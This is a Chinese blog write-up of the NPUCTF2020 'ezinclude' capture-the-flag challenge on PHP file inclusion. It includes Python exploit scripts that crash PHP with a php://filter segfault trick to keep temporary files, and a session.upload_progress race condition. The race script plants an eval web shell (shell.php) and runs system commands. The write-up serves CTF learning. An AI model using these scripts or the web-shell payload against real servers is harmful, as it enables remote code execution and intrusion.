刷题笔记:[NPUCTF2020]ezinclude


前言

关键字:[临时文件包含|session|条件竞争|segment fault|session.upload_progress]

题解

一看疑似hash长度扩展攻击,转头花了几个小时学了下。

结果不是,可惜了。

直接?pass=fa25e54758d5d5c1927781a6ede89f8a

文件包含

包含../../../../../../flag,没有结果,看来没那么简单。

伪协议读一下源码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

试了下file[]=php://input远程执行命令不太行。

扫目录扫出dir.php,源码:

<?php
var_dump(scandir('/tmp'));
?>

临时文件包含

  1. PHP版本<7.2,segment fault特性,向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
  2. 条件竞争:利用session.upload_progress进行session文件包含
  3. 条件竞争:利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除

利用segment fault特性

php版本是7.0.33,这里预期解是1号情况。

  • php<7.2

    php://filter/string.strip_tags/resource=/etc/passwd
  • php7老版本通杀

    php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

打进去后,提示实例无法访问,因为崩溃了嘛

产生临时文件

之后再文件包含下,flag在phpinfo里

条件竞争:利用session.upload_progress

在PHP>5.4,session.upload_progress.enabled这个参数在php.ini中默认开启,在上传的过程中会生成上传进度文件,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ,它的存储路径可以在phpinfo中查到

php>5.4,尝试利用session.upload_progress进行session文件包含

  • 开启upload_progress功能
    session.upload_progress.enabled = on

  • 当文件上传结束后,php将会立即清空对应session文件中的内容
    session.upload_progress.cleanup = on

session.upload_progress.prefix = “upload_progress_”
session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

  • session.use_strict_mode=off

    表示对cookie中的sessionid可控,默认off。即使没有session_start(),也可以自己定义PHPSESSID,并且PHP会自动初始化session,并产生一个键值,这个键值由session.upload_progress.prefixsession.upload_progress.name组成,最后被写入session文件里。比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag

    在Linux系统中,session文件一般的默认存储位置为/tmp或/var/lib/php/session

import io
import sys
import requests
import threading

host = 'http://83b54a25-4b1f-4a71-9d36-be8522dc1261.node4.buuoj.cn/flflflflag.php'
sessid = 'feng'


def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file": ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # 1的MD5值
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit()


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True  # 主线程退出时,不管子线程是否完成都随主线程退出
    t1.start()
    READ(session)

运行一下,马就写到shell.php了。

相关文章

利用phpinfo与文件包含进行条件竞争

利用session.upload_progress进行文件包含和反序列化渗透


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录